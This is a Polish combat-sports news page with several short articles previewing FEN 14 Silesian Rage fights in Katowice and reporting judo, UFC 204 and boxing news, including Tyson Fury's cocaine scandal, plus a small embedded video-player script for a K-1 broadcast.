Nazwisko Białorusina jest jedną z ostatnich niespodzianek w fight cardzie świetnie zapowiadającej się gali w katowickim Spodku. Jest on doskonale znany polskim fighterom, bowiem wielokrotnie krzyżował rękawice z czołowymi postaciami polskiego MMA, m.in. z jednym z najlepszych zawodników FEN Pawłem Żelazowskim, któremu uległ w 2012 roku. Czy Repalov zrobił od tego czasu postępy? Wiele na to wskazuje, ponieważ w ostatnim występie w walce wieczoru gali Wolgaster Kampfkunst 1 pokonał innego mocnego Polaka Mateusza Zieleńskiego. Co ciekawe, było to jego pierwsze zwycięstwo na punkty w karierze – wcześniejsze swoje wygrane walki Repalov kończył już w pierwszych rundach.

25-letni Andrzej Grzebyk nie będzie miał łatwego zadania, tym bardziej, że wraca po blisko rocznej przerwie i leczeniu kontuzji odniesionej w wypadku samochodowym jeszcze przed jego ostatnią walką z Alessio di Chirico na gali FEN 9 Go For It we Wrocławiu. Z tego powodu pojedynek z Włochem, który obecnie walczy w oktagonie UFC, był dla niego wyjątkowo ciężki, ale zdaniem wielu to nie Polak powinien wychodzić z klatkoringu przegrany. Grzebyk uległ rywalowi na kartach punktowych i w sobotę na gali FEN 14 Silesian Rage wyniku walki na pewno nie będzie chciał zostawiać w rękach sędziów. Pochodzący z Rzeszowa, ale trenujący w Tarnowie zawodnik to jeden z najzdolniejszych i najbardziej bojowych przedstawicieli polskiego MMA i teraz, kiedy jest już zdrowy, pełnię swego talentu i umiejętności postara się pokazać w Katowicach.

Zobacz walkę Andrzeja Grzebyka z Alessio Di Chirico

Serdecznie zapraszamy wszystkich sympatyków sportów walki na to polsko-białoruskie starcie, przypominając, że w karcie walk gali FEN 14 Silesian Rage znalazły się cztery inne międzynarodowe pojedynki, m.in. Romana Szymańskiego z Brazylijczykiem Joiltonem Santosem o tytuł mistrza organizacji w formule MMA oraz Tomasza Sarary z Holendrem Dennisem Stolzenbachem o pas mistrzowski w formule K-1. Nie zabraknie także innych gwiazd federacji FEN, takich jak Akop Szostak, Tyberiusz Kowalczyk, Tomasz Gromadzki, Paweł Biszczak i Paweł Hadaś.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Polaków próżno szukać na podium

Bez zdobyczy medalowej wracają nasi judocy z Belgradu, gdzie odbyły się zmagania w Pucharze Europy. Najlepszy wynik zanotowała Anita Formela (+78kg), która uplasowała się na piątej pozycji.

W Belgradzie szansę na zebranie doświadczenia otrzymali nasi młodzieżowcy. Do stolicy Serbii udała się piętnastoosobowa kadra Polski. 

Blisko medalu

Spośród naszych judoków, którzy pojechali do Belgradu na pierwszy plan wysuwała się Anita Formela. 19-latka może pochwalić się wywalczeniem w tym roku brązowego medalu mistrzostw Europy juniorów. Dwa lata temu zdobyła tytuł wicemistrzyni Europy kadetów. 

W tegorocznych startach na poziomie juniorskim Formela prezentowała równą i stabilną formę, choć nie udało jej się wskoczyć na podium w Pucharach Europy. Dostała szansę zaprezentowania się w Serbii i była o krok od medalu. W Belgradzie na korzyść Polki przemawiał fakt, że w kategorii +78kg wystąpiło tylko osiem zawodniczek. Formela stoczyła trzy pojedynki, z których tylko jeden zakończył się jej zwycięstwem. W walce o brązowy medal nasza zawodniczka przegrała przez ippon z Katariną Luciją Vuković.

Dużo zdrowia w Belgradzie pozostawiła Aleksandra Langiewicz (63kg). 22-latka stoczyła aż pięć wyczerpujących walk. Na początek, dzięki karom shido wygrała z Alexandrą Barton, a następnie szybko rozłożyła na łopatki Jennifer Schwille. Polka wygrała przez ippon i była na najlepszej drodze do strefy medalowej. Diana Dzhigaros okazała się przeszkodą nie do przejścia i w niecałą minutę odprawiła Langiewicz. Rosjanka triumfowała w Belgradzie, a 22-letnia Polka ze zmiennym szczęściem rywalizowała w repasażach i ostatecznie zajęła siódmą lokatę.

Wśród naszych panów najlepiej zaprezentował się Karol Kurzej (81kg). W tym roku 23-latek stał już na trzecim stopniu Pucharu Europy w Podcetrtek, z kolei w Tallinie zajął siódmą lokatę. Wynik ze stolicy Estonii powtórzył w Belgradzie. Kurzej początek miał wymarzony –  dwie walki i dwa ippony. W trzeciej walce przed czasem przegrał z Nickiem Kellijem. Wiele sił kosztowało go spotkanie w repasażach z Stefanem Majdovem. Serb zdobył waza-ari i o wynik rywalizacji trzeba było drżeć do końca. Polak mógł się cieszyć ze zwycięstwa, gdyż zapisał na swoim koncie waza-ari i yuko. Marzeń o medalu Kurzeja pozbawił Milan Koller.

Warto również wspomnieć o występach Adriana Wala (60kg) i Mariusz Kruegera (100kg). Obaj zajęli dziewiąte lokaty.

Dominacja Rosjan

Bezapelacyjnie w Belgradzie najlepsi okazali się Rosjanie, którzy wywalczyli 14 medali, w tym aż 8 złotych. Drugie miejsce w klasyfikacji przypadło Niemcom, którzy wywalczyli cztery krążki. Podium uzupełnili Serbowie z pięcioma medali, ale tylko jednym złotym.

W Belgradzie zaprezentowało się 331 judoków.

KM

Tomasz Czerwiński nowym rywalem Tyberiana na gali FEN 14 Silesian Rage

Z powodu połamanych podczas walki na gali FCC 17 w Manchesterze żeber Kamil Bazelak zmuszony był wycofać się z pojedynku z Tyberiuszem Kowalczykiem na gali FEN 14 Silesian Rage. Kontuzjowanego zawodnika w sobotę w katowickim Spodku w starciu z „Tyberianem” zastąpi inny potężny fighter Tomasz Czerwiński.

41-letni Tomasz Czerwiński pochodzi z Poznania, ale od dawna mieszka i trenuje w podlondyńskim Luton. Polak przez lata nazywany był „polskim Butterbeanem” z racji fizycznego podobieństwa do słynnego amerykańskiego zawodnika (ważył niegdyś ponad 140 kg), ale dziś wygląda bardziej jak wyczynowy kulturysta i zdecydowanie lepiej pasują do niego inne jego sportowe pseudonimy, jak Big T czy Polish Monster. Czerwiński większość zawodowych walk w formule MMA stoczył na Wyspach Brytyjskich, ale występował także w Rumunii, na galach największej tamtejszej organizacji Real Xtreme Fighting. Właśnie w Bukareszcie odniósł swoje dwa ostatnie zwycięstwa, pokonując debiutującego w mieszanych sztukach walki Petru „Cyborga” Ursachiego i gwiazdę rumuńskiego MMA, ważącego ponad 160 kg Alexandra Lungu. Do największych sukcesów Polaka zaliczyć należy także wywalczone w 2012 roku tytuły mistrza wagi ciężkiej federacji Fury MMA i mistrza wagi ciężkiej federacji Cage Fighters Championships.

Jego rywal Tyberiusz Kowalczyk przez wiele lat był jednym z najlepszych i najbardziej rozpoznawalnych strongmanów w Polsce, gwiazdą Pucharu Polski Strongman oraz mistrzostw Polski i Europy. W 2005 roku triumfował w czwartej edycji drużynowych zawodów Polska kontra Reszta Świata, a dwa lata później zdobył tytuł Mistrza Europy Centralnej Strongman w Parach i Mistrza Polski Strongman A-Nowi. Po zakończeniu imponującej kariery siłacza poświęcił się sportom walki. „Tyberian” w klatkoringu Fight Exclusive Night walczył dotąd dwa razy, dwukrotnie błyskawicznie i efektownie pokonując swoich rywali. Na gali FEN 3 War Is Coming już w 48. sekundzie ciosami pięściami posłał na deski Litwina Tomasa Vaicickasa, a na gali FEN 11 Warsaw Time równie szybko potężnymi uderzeniami i kopnięciami znokautował Akopa Szostaka.

15 października na gali FEN 14 Silesian Rage w pozostałych pojedynkach w formule MMA wystąpią m.in. Roman Szymański, który będzie bronił pasa mistrzowskiego w starciu z Brazylijczykiem Joiltonem Santosem, a także Paweł Hadaś, Paweł Brandys, Mateusz Strzelczyk, Albert Odzimkowski, Tyberiusz Kowalczyk, Akop Szostak i Adrian Błeszyński. W walkach na zasadach K-1 kibice zobaczą starcie Tomasza Sarary z  Dennisem Stolzenbachem o tytuł mistrza FEN wagi cruiser oraz pojedynki z udziałem Pawła Biszczaka, Kamila Jenela, Tomasza Gromadzkiego i Pavla Oboznego.

Zobacz także: oficjalny trailer gali FEN 14 Silesian Rage

Bilety na galę FEN 14 można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Tylko Stasiak może być zadowolony

W Manchesterze podczas gali UFC 204 zaprezentowało się trzech Polaków, jednak tylko Damian Stasiak ma powody do zadowolenia. „Webster” odniósł efektowne zwycięstwo w starciu z Davey'em Grantem. Daniel Omielańczuk i Łukasz Sajewski zanotowali porażki.

Stasiak odniósł drugie zwycięstwo w trzeciej walce dla UFC. Po raz kolejny polski fighter efektownie zakończył rywalizację.

Sukces jednego, smutek pozostałych

Stasiak musiał wykazać się cierpliwością w starciu z Davey'em, które nie należało do łatwych. Przez dwie rundy trwała zacięta walka. Raz w stójce, raz w parterze, jednak żaden z zawodników nie potrafił przeprowadzić decydującej akcji. Wydawało się, że Anglik jest o krok od znokautowania Polaka, jednak ten wyszedł cało z opresji. Trzecia runda pod dyktando Stasiaka. „Webster” potwierdził wysokie umiejętności w parterze. Założył rywalowi balachę, która okazała się zabójczo skuteczna. Anglik musiał odklepać, żeby nie cierpieć. Stasiak odniósł drugie zwycięstwo z UFC i ponownie triumfował przed czasem. W kwietniu w Zagrzebiu już w pierwszej rundzie pokonała Filipa Pejicia.

Fantastyczna seria Daniela Omielańczuka dobiegła końca. Trzy zwycięstwa z rzędu i wystarczy. Stefan Struve okazał się zbyt mocny dla 34-latka. Holender był wyższy, cięższy i młodszy, a do tego rywalizował z potentatami UFC. Omielańczuk odważnie zaczął pojedynek i wymierzył kilka sierpów rywalowi. Struve nie pozostawał bierny, obalił Polaka i próbował zmusić go do poddania. 34-latek skutecznie się bronił i wyszedł cało z opresji. Holender był konsekwentny. W drugiej rundzie osiągnął swój cel. Ponownie sprowadził pojedynek do parteru i „udusił” Omielańczuka, który odklepał. Polak przegrał trzecią walkę w UFC, ale pierwszą przed czasem.

Łukasz Sajewski w Manchesterze pojawił się jako zastępca Rezy Madadiego. „Polski lekki” stanął na wprost debiutującego w UFC Marka Diakiese. Dla Sajewskiego było to starcie z kategorii „o życie”. Wcześniejsze dwie porażki postawiły 25-latka pod ścianą. Polak dobrze zaczął, gdyż w pierwszej rundzie dwa razy obalił rywala. Jednak kolejna odsłona to popis Anglika. Diakiese zasypał Sajewskiego ciosami i wygrał przez techniczny nokaut.

Skuteczna obrona

37-letni Michale Bisping w Manchesterze po raz pierwszy bronił pasa mistrzowskiego w wadze średniej. Tytuł wywalczył w kwietniu pokonując Luke'a Rockholda. Na gali UFC 204 spotkał się z Danem Hendersonem. Pięć zaciętych rund na korzyść Anglika – 48:47, 48:47, 49:46.

W ciekawie zapowiadającej się walce Gegard Mousasi pokonał w drugiej rundzie Vitora Belforta. Również przed czasem wygrał Jimi Manuwa. W drugiej rundzie znokautował Ovince'a St. Preuxa. W pierwszych odsłonach wygrywali Mirsad Bektić i Iuri Alcantara, którzy odpowiednio odprawiali Russella Doane oraz Brada Picketta.

Fot. sherdog.com

KM

Sarara vs Stolzenbach w walce o pas na gali FEN 14

Dennis Stolzenbach, dwukrotny mistrz Europy IKBA, będzie rywalem Tomasza Sarary w walce o pierwszy w historii tytuł mistrza federacji FEN w K-1 wagi cruiser. Smaczku temu pojedynkowi dodaje fakt, że 15 października na gali FEN 14 Silesian Rage w narożnikach obu zawodników staną dwaj świetni trenerzy – Ernesto Hoost i Miki Benazzouz.

Cichy wiatr – taki pseudonim nosi 27-letni reprezentant klubu Siam-Gym Valkenswaard, który 15 października stanie Tomkowi Sararze na drodze po upragniony tytuł mistrza FEN. Jak wyjaśnia trener Holendra, wysoko ceniony Miki Benazzouz, „cichy, ponieważ taki jest poza ringiem, a wiatr, bo kiedy już do niego wchodzi, to jest nie do zatrzymania”. Dennis Stolzenbach ma reputację spokojnego, skromnego faceta o sercu prawdziwego wojownika, dla którego słowo „zrezygnować” nie istnieje. Tej nieustępliwej postawie w walce zawdzięcza dwa tytuły mistrza Europy IKBA w wadze ciężkiej, zdobyte w 2011 i 2012 roku, a także mistrzostwo Holandii wywalczone w 2009 roku. Holender ma na swoim koncie 63 zawodowe walki, z których 41 zakończyło się jego zwycięstwem.

Tomasz Sarara to jeden z najlepszych na świecie zawodników wagi cruiser, srebrny medalista mistrzostw Europy WAKO z 2008 roku, zdobywca drugiego miejsca w turnieju K-1 World GP w Warszawie w 2010 roku i dwukrotny uczestnik turniejów Tatneft Arena. W swojej kolekcji ma także kilkanaście tytułów amatorskiego i zawodowego mistrza Polski w kickboxingu i K-1. W klatkoringu Fight Exclusive Night krakowianin stoczył trzy walki z rywalami z zagranicy, każdą z nich pewnie wygrywając – na gali FEN 7 w drugiej rundzie znokautował Niko Falina, a na galach FEN 8 i FEN 11 wypunktował kolejno Andre Schmelinga i Ivana Bartka. Jego ostatni zawodowy występ do jednak debiut… bokserski – dwa tygodnie temu na gali Windoor Boxing Night w Kaliszu w drugiej rundzie ciężko znokautował Łukasza Zygmunta, potwierdzając krążącą o nim od dawna opinię najlepszego boksera wśród polskich kickbokserów.

Warto wspomnieć, że w narożniku Tomasza Sarary podczas gali FEN 14 Silesian Rage ponownie zobaczymy legendarnego trenera Ernesto Hoosta, który jako zawodnik czterokrotnie zdobył tytuł mistrza K-1 World Grand Prix. Przez blisko rok Polak trenował u innego znanego szkoleniowca Mike’a Passaniera, ale niezadowolony z tej współpracy zdecydował się powrócić do Teamu Mr. Perfecta.

W pozostałych walkach gali FEN 14 Silesian Rage na zasadach K-1 kibice zobaczą Pawła Biszczaka, Kamila Jenela, Tomasza Gromadzkiego i Pavla Oboznego, a w pojedynkach w formule MMA wystąpią m.in. Roman Szymański, który będzie bronił pasa mistrzowskiego w starciu z Brazylijczykiem Joiltonem Santosem, a także Paweł Hadaś, Paweł Brandys, Mateusz Strzelczyk, Albert Odzimkowski, Tyberiusz Kowalczyk, Akop Szostak i Adrian Błeszyński.

Zobacz także: oficjalny trailer gali FEN 14 Silesian Rage

Bilety na galę FEN 14 można jeszcze kupić w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Piotrowski odznaczony po raz drugi

Po raz kolejny cała Polska usłyszała o Marku Piotrowskim. Tym razem nasz wybitny kickboxer został odznaczony Krzyżem Oficerskim Orderu Odrodzenia Polski przyznany przez prezydenta Andrzeja Dudę. Piotrowski wspomniane wyróżnienie otrzymał po raz drugi.

Legenda, mistrz, niedościgniony wzór, idol – wielu kickboxerów tak właśnie określa Marka Piotrowskiego. Mistrz świata stał się swojego rodzaju guru, ale zrobił wiele, aby tak było. Krzyż Oficerski Orderu Odrodzenia Polski pozwolił nieco „odkurzyć” Piotrowskiego.

Wielki mistrz

Popularny „Punisher” przygody ze sportami walki wcale nie rozpoczął od kickboxingu. Najpierw zafascynowało go karate i szło mu całkiem dobrze, gdyż zapisał na swoim koncie mistrzostwo Polski seniorów. Jednak w 1987 roku zdecydował się „przebranżowić” i rozpoczął przygodę z kicboxingiem. Wystarczyło kilka miesięcy, żeby wywalczył amatorskie mistrzostwo świata.

Świat stał u jego stóp. W 1988 roku ruszył na podbój Stanów Zjednoczonych. Kariera zawodowa rozwijała się idealnie. Polak zaczął od znokautowania w czwartej rundzie Boba Handegana. Cały świat pytał, kim jest Piotrowski, kiedy „Punisher” odprawił z kwitkiem Ricka Roufusa. Zwycięstwo dało mu mistrzostwo USA PKC. Piotrowski kroczył do zwycięstwa do zwycięstwa. Nadszedł czas rewanżu z Roufusem, w którym rywal okazał się lepszy i posłał Polaka w drugiej rundzie na deski. To była pierwsza porażka Piotrowskiego. Drugą poniósł z Robem Kamanem. I tyle. Niesamowity bilans Piotrowskiego budzi wielki podziw. Ponad czterdzieści zwycięstw, w tym 27 przed czasem. Fenomen, wytrzymały i do bólu skuteczny wojownik.

Rywalizację na płaszczyźnie kickboxingu Piotrowski łączył z boksem. W wadze półciężkiej wygrał wszystkie, 21, walk. Z boksem pożegnał się w 1996 roku. Ostatnią walkę w kickboxingu stoczył rok wcześniej.

Był i nadal jest wielkim mistrzem. Jednak życie nie oszczędzało 52-latka. Choroba zwyrodnieniowa układu nerwowego, problemy osobiste, brak pieniędzy. Mimo to nie ugiął się. Piotrowski pokazał, że walczyć umie nie tylko w ringu. Bez wątpienia wielki mistrz jest przykładem godnym naśladowania.

Uhonorowany

W trudnych chwilach wiele osób obecnych podczas sukcesów Piotrowskiego, kiedy pojawiły się problemy odwróciło się od niego. Jednak nie zabrakło ludzi, którzy chcieli pomóc. Organizowali różne akcje wsparcia dla byłego kickboxera. Piotrowski pojawia się podczas różnych gal i nadal jest wielbiony przez tłumy.

W ostatnich dniach Piotrowski po raz drugi został odznaczony Krzyżem Oficerskim Orderu Odrodzenia Polski przyznanym przez prezydenta Andrzeja Dudę. Wyróżnienie Piotrowskiemu wręczył Witold Bańka, minister sportu. Warto dodać, że to nie pierwsze tego typu odznaczenie dla kickboxera. W 2009 roku został uhonorowany w ten sposób przez św.p. prezydenta Lecha Kaczyńskiego.

Tak mały gest, jednak pokazuje tak wiele. Marek Piotrowski dał nam wiele pięknych chwil, nadal pokazuje, co to znaczy walczyć i zwyciężać. Bierzmy z niego przykład. Tak jak i ci, którzy podkreślają, że chcą być tacy jak on. Niezwyciężeni.

KM

FEN 14 Silesian Rage: zapowiedź walki Brandys vs Hadaś

Paweł Hadaś​ na gali FEN 14 Silesian Rage​ zrobi wszystko, by odnieść siódme zawodowe zwycięstwo z rzędu. Paweł Brandys​ w debiucie w klatkoringu Fight Exclusive Night​ także liczy na pewną wygraną. Któremu z nich uda się osiągnąć cel w tym emocjonująco zapowiadającym się starciu? Zobaczymy już 15 października w katowickim Spodku!

[kod]

Czarne chmury nad Fury’m

Ostatnie tygodnie w życiu mistrza świata WBA i WBO są niezwykle ciężkie. Tyson Fury znalazł się na „cenzurowanym” po tym jak okazało się, że stosował kokainę. Wedle doniesień, Brytyjczyk mógłby stracić licencję bokserską.

Blisko rok temu Fury stał się bohaterem. Zdetronizował wielkiego Władimira Kliczko z tronu kategorii ciężkiej. Świat czekał na rewanżowy pojedynek obu pięściarzy, jednak termin przekładano. Z czasem postępowanie Fury'ego stało się zastanawiające. W końcu nastąpił szok.

Kolejny test

29 października w Manchesterze Tyson Fury miał ponownie stanąć naprzeciw Władimira Kliczko. We wrześniu obóz Brytyjczyka wycofał się z pojedynku. Tłumaczono to względami zdrowotnymi. Cóż, może się zdarzyć, jednak miłośnicy boksu zaczęli kipieć ze złości. To nie był pierwszy raz. Pierwotnie rewanż miał odbyć się w lipcu. Walkę odwołano ze względu na… kontuzję czempiona.

Informacje o wykryciu kokainy w organizmie Brytyjczyka wzbudziły ogromną dyskusję. Według ESPN.com, badania dopingowe dwukrotnie potwierdziły, że Fury stosował niedozwolone środki. 28-latek pierwszy test przeszedł 22 września. Dzień później walka z Kliczko została odwołana. Okazało się, że kokainę u Fury'ego znaleziono również w testach przeprowadzonych 21 września.

Oliwy do ognia dolał wywiad, którego czempion WBA i WBO udzielił magazynowi „Rollin Stone”. Przyznał się w nim do zażywania kokainy, nadużywania alkoholu oraz stosowania antydepresantów. Fury nie radził sobie z problemami i uznał, że to będzie najlepsza drogi walki. Ten wybór może go drogo kosztować.

Przyszłość Brytyjczyka wisi „na włosku”. Prawdopodobnie Fury straci mistrzowskie pasy, który zdobył w listopadzie ubiegłego roku pokonując Władimira Kliczko. Dodatkowo nad jego sprawą pochyli się Brytyjska Komisja Bokserska. Delegaci spotkają się 12 października. Niewykluczone, że Fury zostanie pozbawiony licencji bokserskiej.

Co z wagą ciężką?

Skandal z Fury'm przysłonił aspekt sportowy wagi ciężkiej. Brytyjczyk zajął całą powierzchnię dyskusji i nie brakuje wielu pytań, wątpliwości. Na wiążące decyzje trzeba jednak poczekać.

W całym zamieszaniu jednym z poszkodowanych jest Władimir Kliczko. Ukrainiec cierpliwie czekał na rewanżową walkę, w której chciał wrócić na tron. Coraz bardziej prawdopodobne, że były czempion stoczy bój o pasy. Niedawno informowaliśmy o możliwym starciu Kliczko z Anthony'm Joshuą, mistrzem IBF. Wychodzi na to, że do walki miałoby dojść 10 grudnia.

KM

LIVE: Masters Fighter K1 League

Zapraszamy na transmisję telewizyjną z gali Masters Fighter K-1 League w dniu 9 października 2016 r.. Start godz. 13.00.

[kod]

Masters Fighter K-1 League

Masters Fighter K-1 League

var player = redcdnplayer("redcdnplayer").setup({
file: {
flv: "http://r.dcs.redcdn.pl/liveflv/o2/Marklaw/MK1FW_10_2016.livx",
hls: "http://r.dcs.redcdn.pl/hls/o2/Marklaw/MK1FW_10_2016.livx/playlist.m3u8",
dash: "http://r.dcs.redcdn.pl/dash/o2/Marklaw/MK1FW_10_2016.livx",
ss: "http://r.dcs.redcdn.pl/ss/o2/Marklaw/MK1FW_10_2016.livx"
},
width: 640,
height: 385,
autoplay: false,
});

Andrzej Grzebyk w karcie walk gali FEN 14 Silesian Rage

Andrzej Grzebyk 15 października po blisko rocznej przerwie ponownie wystąpi w klatkoringu Fight Exclusive Night. Jeden z najbardziej perspektywicznych średnich polskiego MMA na gali FEN 14 Silesian Rage w katowickim Spodku zawalczy o swoje pierwsze zwycięstwo w organizacji FEN.

Walka na gali FEN 14 Silesian Rage będzie dla Andrzeja Grzebyka drugą w klatkoringu Fight Exclusive Night. Debiutował w listopadzie ubiegłego roku na gali FEN 9 Go For It we Wrocławiu w pamiętnej walce z Alessio Di Chirico – decyzją sędziowską zwycięstwo w tym wyrównanym, emocjonującym starciu przypadło w udziale występującemu obecnie w UFC Włochowi.

25-letni Andrzej Grzebyk pochodzi z Rzeszowa, jednak reprezentuje barwy Legion Team Tarnów, gdzie o rozwój jego talentu dba trener Radosław Piechnik. Wywodzi się z kickboxingu, ale w 2010 roku, po dwóch latach trenowania tej dyscypliny, poświęcił się mieszanym sztukom walki. Szybko potwierdził, że była do właściwa decyzja, bo jako amator zdobył m.in. mistrzostwo Polski juniorów i dwukrotnie tytuł mistrza Polski seniorów w MMA full contact. Na zawodowych arenach występuje od 2012 roku – dotychczas stoczył 11 walk, wygrywając osiem z nich. Na swoim koncie ma zwycięstwa z tak znanymi zawodnikami, jak Kamil Szymuszowski i Mindaugas Verzbickas.

Rywal Andrzeja Grzebyka zostanie ogłoszony w najbliższych dniach. W kategorii średniej na gali FEN 14 Silesian Rage walczyć będą również Mateusz Strzelczyk z Albertem Odzimkowskim i Łukasz Stanek z Adrianem Błeszyńskim. W pozostałych walkach na zasadach MMA kibice zobaczą m.in. Romana Szymańskiego, który będzie bronił pasa mistrzowskiego z starciu z Brazylijczykiem Joiltonem Santosem, a także Pawła Hadasia, Tyberiusza Kowalczyka i Akopa Szostaka, a w walkach K-1 – Tomasza Sararę, Pawła Biszczaka, Kamila Jenela i Tomasza Gromadzkiego.

Bilety na galę FEN 14 są już do kupienia w serwisach Eventim.pl oraz KupBilet.pl. Zamówienia na bilety grupowe i bilety VIP przyjmowane są pod numerem telefonu 601 877 229.

Więcej informacji o gali FEN 14 Silesian Rage na bieżąco na fanpage’u FEN na Facebooku.

FEN

Kuczera: Nie czuję się gwiazdą

Piotr Kuczera coraz pewniej czuje się w rywalizacji seniorskiej. Najlepszym potwierdzeniem jest wywalczenie przed 21-latka brązowego medalu mistrzostw Europy seniorów. Kilka tygodni temu Kuczera stanął na trzecim stopniu podium podczas zawodów Grand Prix w Zagrzebiu. 21-latek zachowuje „chłodną głowę” i ciężko pracuje na kolejne sukcesy.

Rok 2015 był fenomenalny w wykonaniu Kuczery. Stawał na podium mistrzostw świata i Europy juniorów, czym zwrócił na siebie uwagę. Wielu zastanawiało się, czy w rywalizacji seniorskiej judoka nie przepadnie. Zawodnik Kejza Team Rybnik „utarł nosa” niedowiarkom.

Wystrzelił jak z procy

Tegoroczne starty Kuczera rozpoczął od wywalczenia drugiej lokaty w Pucharze Europy w Oberwart. 21-latek utrzymuje równą i stabilną formę. We wrześniu wywalczył brąz w Zagrzebiu w zawodach rangi Grand Prix. Można powiedzieć, że Polakowi sprzyjało szczęście. – W Zagrzebiu nie był to typowy dzień startowy, czułem się nieswojo. Zazwyczaj moje walki wyglądają nieco inaczej. Niestety, był to mój gorszy dzień i musiałem szukać innych rozwiązań taktycznych na wygranie walki. Każdy przeciwnik jest inny i z niektórymi nie powinno się wchodzić w kontakt, bo to ich ulubiony sposób walki. Dlatego też musiałem trzymać dystans, choćby w pierwszej walce z Czarnogórcem, który nastawił się jedynie na kontrowanie przez ura nage. Niemiec pasował mi, dlatego nie musiałem zmieniać swojego stylu i mogłem bić się bardziej otwarcie – opisuje Piotr Kuczera.

Brąz wywalczony w Kazaniu to największy sukces w karierze 21-latka. Po takim sukcesie niejednemu do głowy uderzyła „sodówka”. Kuczera cieszy się z trzeciego miejsca na mistrzostwa Europy, ale nastawiony jest na dalszą pracę. – Na pewno jestem zadowolony z tego roku. Na mistrzostwach Europy seniorów pokazałem, że z każdym mogę wygrać i praca z moim trenerem Arturem Kejzą idzie w dobrym kierunku. Czy czuje się gwiazdą? Nie, bo wiem że takie myślenie nie pozwoli mi na osiągnięcie celu jaki sobie założyłem – tłumaczy judoka.

W przypadku Kuczery śmiało można powiedzieć, że nie odczuł przejścia z poziomu juniorskiego na seniorski. – Na pewno poziom w seniorach jest wyższy. Jednak będąc juniorem jeździłem na campy międzynarodowe seniorów. Dzięki temu mogłem podnosić swój poziom sportowy, ale też zobaczyć, że nie brakuje mi dużo do tego, żeby odnosić sukcesy w grupie seniorów.  Stres towarzyszy podczas każdych zawodów. Jednak nie różni się od tego, który był w juniorach – wyjaśnia brązowy medalista mistrzostw Europy.

Pracowita jesień

Kuczera nie próżnuje i ciężko pracuje, żeby w kolejnych startach zaprezentować się równie efektownie, co w Kazaniu i osiągnąć sukces. – Moje najbliższe cele to mistrzostwa Polski seniorów, gdzie będę walczył o utrzymanie tytułu mistrza Polski. Już tydzień później czeka mnie start na bardzo prestiżowej imprezie – Grand Slamie w Abu Dhabi. Bardzo ważne będą także młodzieżowe mistrzostwa Europy, które odbędą się w połowie listopada – przedstawia Kuczera.

Fot. PZJudo

KM

Nie z Fury’m, a z Joshuą?

Wokół rewanżowego starcia Tysona Fury'ego z Władimirem Kliczko pojawia się coraz więcej znaków zapytania. Walki ani widu, ani słychu… Niewykluczone, że Ukrainiec w tym roku powalczy o mistrzostwo świata. Jego rywalem miałby być czempion IBF Anthony Joshua.

Władimir Kliczko nie może doczekać się rewanżowego starcia z Fury'm, jednak mistrz WBO i WBA narzeka na problemy zdrowotne. Ostatnie doniesienia mówią o wykryciu w jego organizmie kokainy. W związku z tym Ukrainiec musi uzbroić się w cierpliwość bądź szukać innego rywala. 

Miał być hit, będzie hit?

Tyson Fury już po raz drugi z powodów zdrowotnych nie stanie do walki z Władimirem Kliczko. Napięcie dodatkowo potęguje fakt, że w organizmie Brytyjczyka wykryto kokainę. Pojawiają się pytania, czy w związku z tym możliwe jest odebranie pięściarzowi pasów WBA i WBO. W obronę 28-latka wziął trener Peter Fury. Czempion mógł być bohaterem, ale stał się obiektem ataków. Coraz powszechniejsza staje się opinia, że Fury po prostu unika starcia z Kliczko.

Publiczność wypatruje pokaźnego bokserskiego kąska. Kliczko czeka na kolejną walkę już ponad dziesięć miesięcy. Głód walki jest coraz większy i Ukrainiec chciałby wejść do ringu. Niewykluczone, że jeszcze w tym roku stoczy pojedynek, którego stawką będzie pas IBF. Coraz głośniej mówi się o zakontraktowaniu starcia Kliczko-Anthony Joshua. 26-latek miał stoczyć kolejną walkę w obronie pasa 26 listopada w Manchesterze. Czy jego rywalem będzie ukraiński bokser, który przez lata dominował w kategorii królewskiej? Ponoć obozy obu pięściarzy prowadzą zaawansowane rozmowy, których owoce powinniśmy niebawem poznać. W grę mają wchodzić dwa terminy – 26 listopada i 10 grudnia.

Joshua to „młody wilk”, na którego uwagę szersza publiczność zwróciła rok temu. W maju położył na deski mocnego Kevina Johnsona. 26-latek urodzony w Watfordzie ma potężny cios, który stał się już postrachem dla kolejnych rywali. Anglik wszystkie siedemnaście walk wygrał przed czasem! Tytuł IBF wywalczył w kwietniu br., kiedy to w Londynie w drugiej rundzie znokautował Charlesa Martina. Dotychczas tytułu bronił tylko raz. Dominic Breazeale dzielnie się trzymał, ale kres jego możliwości przypadł na siódmą rundę. 

Pojedynek Joshua-Kliczko byłoby spotkaniem dwóch pokoleń, ale przede wszystkim starciem elektryzującym miłośników boksu.  

Co z Wilderem?

Mistrz świata WBC zaimponował w walce z Chrisem Arreolą. Dokończył pojedynek z kontuzją prawej dłoni i cieszył się z czwartej obrony tytułu.

Po pojedynku nie było jednak kolorowo. Deontay Wilder musiał oddać się pod opiekę lekarzy, przeszedł trzy operacje kontuzjowanej dłoni. Walka odbyła się w lipcu, mamy październik, a bokser z Alabamy zameldował się na sali treningowej. Wilder tarczuje lewą ręką i na jego powrót trzeba jeszcze poczekać. W ringu powinien pojawić się w pierwszym kwartale 2017 roku, jednak widać, że jest głodny walki. Warto zatem dokonać porównania mistrza WBC i czempiona WBA i WBO. Ciekawe, kto korzystniej w nim wypadnie?

KM

Sajewski będzie walczył o życie

Łukasz Sajewski znalazł się w gronie zawodników, którzy zaprezentują się podczas galu UFC 204. 8 października Polak będzie rywalem Marca Diakiese. Dla 25-latka to pojedynek z kategorii „o życie”.

Tym samym na gali w Manchesterze pojawi się aż trzech Polaków. Zwycięską passę będzie chciał przedłużyć Daniel Omielańczuk, a Damian Stasiak postara się o drugie zwycięstwo w UFC.

W roli zastępcy

